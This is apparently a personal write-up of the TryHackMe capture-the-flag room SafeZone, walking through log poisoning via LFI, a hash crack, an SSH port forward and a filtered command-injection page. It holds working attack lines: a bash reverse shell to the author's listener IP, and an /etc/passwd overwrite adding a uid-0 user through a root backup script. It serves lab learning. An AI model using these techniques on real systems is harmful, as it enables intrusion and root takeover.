SafeZone

CTF Designed by CTF lover for CTF lovers

Medium rated. This is SafeZone from THM. It was pretty enjoyable; here’s what happened.

Ports

SSH and HTTP only.

HTTP

At index.php we have a login page but we have no credentials. There is a register.php where we can register an account which we can then use to login. Doing so gets us to dashboard.php which has a few links including detail.php which has a comment hidden in the page source:

try to use “page” as GET parameter

Trying this doesn’t work. We need to be a different user.

Doing some webserver enumeration turns up note.txt which is from admin (our user) saying that his password is in /home/files/pass.txt (I think, I didn’t make a note of it). We need to look harder for this; it’s in /~files/pass.txt. This file contains a hint that narrows down the password to one of a list of 100. Trying a few combinations on the login page quickly reveals which one is correct, although we can only do 3 before we get timed out for 60 seconds. Anyway it’s pretty straightforward.

Once we are logged in as admin we do have an LFI with the page parameter, and we can read /var/log/apache2/access.log with it so our foothold is via poisoning the log file. I use the classic PHP code in the User-Agent field of a Burp repeater request to get the command into the logfile and then use the PHP one-liner to get a shell.

By the way; we can register a user with the name admin and a different password, but the LFI still won’t work if you do that.

Anyway, we’re on the box.

www-data

We don’t need to be www-data for long; in /home/files we find this:

www-data@safezone:/home/files$ ls -lash
ls -lash
total 40K
4.0K drwxrwxrwx 5 files files 4.0K Mar 29 04:10  .
4.0K drwxr-xr-x 4 root  root  4.0K Jan 29 12:30  ..
   0 -rw------- 1 files files    0 Mar 29 04:10  .bash_history
4.0K -rw-r--r-- 1 files files  220 Jan 29 12:30  .bash_logout
4.0K -rw-r--r-- 1 files files 3.7K Jan 29 12:30  .bashrc
4.0K drwx------ 2 files files 4.0K Jan 29 20:44  .cache
4.0K drwx------ 3 files files 4.0K Jan 29 20:44  .gnupg
4.0K drwxrwxr-x 3 files files 4.0K Jan 30 09:30  .local
4.0K -rw-r--r-- 1 files files  807 Jan 29 12:30  .profile
4.0K -rw-r--r-- 1 root  root   105 Jan 29 20:38 '.something#fake_can@be^here'
4.0K -rwxrwxrwx 1 root  root   112 Jan 29 10:24  pass.txt
www-data@safezone:/home/files$ file '.something#fake_can@be^here'
file '.something#fake_can@be^here'
.something#fake_can@be^here: ASCII text

We also have another user (yash) but we can’t enter the home directory. Anyway, the file I’ve mentioned above contains a hash for the user files which John can deal with easily, and then we can SSH in as files.

files > yash

I run linpeas, because I always run linpeas. Not too much stands out, except:

[+] Active Ports
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-ports                                                             
Active Internet connections (servers and established)                                                                                  
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -       
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -       
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -      

I wonder what’s on Port 8000? We have an SSH connection. I’ll set up a port forward:

┌──(root💀kali)-[/opt/thm/safezone]
└─# ssh -L 9000:127.0.0.1:8000 files@10.10.73.224                                                                                                                          255 ⨯
The authenticity of host '10.10.73.224 (10.10.73.224)' can't be established.
ECDSA key fingerprint is SHA256:SPPh4P6UapASPDzKOK9g//1xYbr6bbWyH6fT7FwxB4U.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.73.224' (ECDSA) to the list of known hosts.
files@10.10.73.224's password: 
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-140-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

 System information disabled due to load higher than 1.0

0 packages can be updated.
0 of these updates are security updates.

Last login: Mon Mar 29 03:44:43 2021 from 192.168.28.227

And visit localhost:9000 in my browser. There is an nginx 403 page, so I run a feroxbuster and a dirsearch (since it comes with a nice default wordlist):

[18:46:20] 200 - 462B - /login.html
[18:46:20] 200 - 578B - /login.js

We don’t really need login.html because login.js shows where we want to go - pentest.php. Here, we have a box where we can enter a ‘message’ for yash. I try a few things but all that seems to happen is the message gets echoed back, with some modifications. If we use bash, it gets dropped. Same for a few other things, like nc, semi-colons and so-on. Ping doesn’t seem to get dropped, but it won’t ping me. Hmmm. I try sleep 5 and it works; the response has a very definite delay. So we do have command execution - presumably as yash - but with some filter to defeat.

Remember I said I couldn’t cd to /home/yash? Let’s fix that:

chmod ugo+rwx /home/yash

This works. Since I’m already SSH’d in as files for my port forward, I can now write to the yash directory. This was in my original webshell:

$ ls -lash
total 16K
4.0K drwxr-xr-x  4 root  root  4.0K Jan 29 12:30 .
4.0K drwxr-xr-x 23 root  root  4.0K Mar 29 02:55 ..
4.0K drwxrwxrwx  5 files files 4.0K Mar 29 04:10 files
4.0K drwx------  5 yash  yash  4.0K Mar 29 05:13 yash

And this was after:

files@safezone:/home$ ls -lash
total 16K
4.0K drwxr-xr-x  4 root  root  4.0K Jan 29 12:30 .
4.0K drwxr-xr-x 23 root  root  4.0K Mar 29 02:55 ..
4.0K drwxrwxrwx  5 files files 4.0K Mar 29 04:10 files
4.0K drwxrwxrwx  5 yash  yash  4.0K Mar 29 05:13 yash

I’ve got you now, yash. I can read the user flag, but more usefully I can create a shell script to send me a reverse shell, which I will then call from the web session:

files@safezone:/home/yash$ printf '#!/bin/bash\nbash -i >& /dev/tcp/10.9.10.123/1234 0>&1\n' > shellington.sh
files@safezone:/home/yash$ cat shellington.sh 
#!/bin/bash
bash -i >& /dev/tcp/10.9.10.123/1234 0>&1
files@safezone:/home/yash$ chmod +x shellington.sh

I start a listener and call /home/yash/shellington.sh from the webpage:

┌──(root💀kali)-[/opt/thm/safezone]
└─# nc -nvlp 1234                                                                                                                                                            1 ⨯
listening on [any] 1234 ...
connect to [10.9.10.123] from (UNKNOWN) [10.10.73.224] 53374
bash: cannot set terminal process group (534): Inappropriate ioctl for device
bash: no job control in this shell
yash@safezone:/opt$ sudo -l
sudo -l
Matching Defaults entries for yash on safezone:
    env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR
    XFILESEARCHPATH XUSERFILESEARCHPATH",
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    mail_badpass

User yash may run the following commands on safezone:
    (root) NOPASSWD: /usr/bin/python3 /root/bk.py

We are yash.

yash > root

So what’s that bk.py? We can’t read it, but we can execute it and trying it out reveals it copies files for us. It asks for a password but either I got lucky and pass works, or much more likely it’s a red herring. Let’s see:

yash@safezone:/tmp$ echo test > test.txt
echo test > test.txt
yash@safezone:/tmp$ sudo -u root /usr/bin/python3 /root/bk.py
sudo -u root /usr/bin/python3 /root/bk.py
Enter filename: /tmp/test.txt
Enter destination: /tmp/bak.txt
Enter Password: pass
yash@safezone:/tmp$ ls -lash
ls -lash
total 48K
4.0K drwxrwxrwt 10 root root 4.0K Apr  2 07:48 .
4.0K drwxr-xr-x 23 root root 4.0K Mar 29 02:55 ..
4.0K drwxrwxrwt  2 root root 4.0K Apr  2 07:20 .ICE-unix
4.0K drwxrwxrwt  2 root root 4.0K Apr  2 07:20 .Test-unix
4.0K drwxrwxrwt  2 root root 4.0K Apr  2 07:20 .X11-unix
4.0K drwxrwxrwt  2 root root 4.0K Apr  2 07:20 .XIM-unix
4.0K drwxrwxrwt  2 root root 4.0K Apr  2 07:20 .font-unix
4.0K -rw-r--r--  1 root root    5 Apr  2 07:48 bak.txt
4.0K drwx------  3 root root 4.0K Apr  2 07:20 systemd-private-5497c5cea67943f6b1a8a979bdc90224-apache2.service-0guC0M
4.0K drwx------  3 root root 4.0K Apr  2 07:20 systemd-private-5497c5cea67943f6b1a8a979bdc90224-systemd-resolved.service-cwWMdZ
4.0K drwx------  3 root root 4.0K Apr  2 07:20 systemd-private-5497c5cea67943f6b1a8a979bdc90224-systemd-timesyncd.service-EpXkIr
4.0K -rw-r--r--  1 yash yash    5 Apr  2 07:47 test.txt
yash@safezone:/tmp$ cat bak
cat bak.txt 
test

Right so it happily copies files as root, but make them readable. Goodo. I use this to make a copy of the root flag and read it, but that doesn’t get me a shell. There are probably a few ways to do this; I make a copy of /etc/passwd (you don’t need the script for that), then append a new user (root2:mrcake) to it, and then use the script to overwrite the real /etc/passwd with my version. Then I can su root2 and it’s game, set and match:

yash@safezone:/tmp$ cp /etc/passwd /tmp/pass
cp /etc/passwd /tmp/pass
yash@safezone:/tmp$ printf 'root2:WVLY0mgH0RtUI:0:0:root:/root:/bin/bash\n' >> /tmp/pass
<Y0mgH0RtUI:0:0:root:/root:/bin/bash\n' >> /tmp/pass

yash@safezone:/tmp$ sudo -u root /usr/bin/python3 /root/bk.py
sudo -u root /usr/bin/python3 /root/bk.py
Enter filename: /tmp/pass
Enter destination: /etc/passwd
Enter Password: pass
yash@safezone:/tmp$ su root2
su root2
su: must be run from a terminal # doh
yash@safezone:/tmp$ python3 -c 'import pty;pty.spawn("/bin/bash");'
python3 -c 'import pty;pty.spawn("/bin/bash");'
yash@safezone:/tmp$ su root2
su root2
Password: mrcake

root@safezone:/tmp# id;hostname
id;hostname
uid=0(root) gid=0(root) groups=0(root)
safezone

Little fist pump when this one was done. Thanks cyberbot.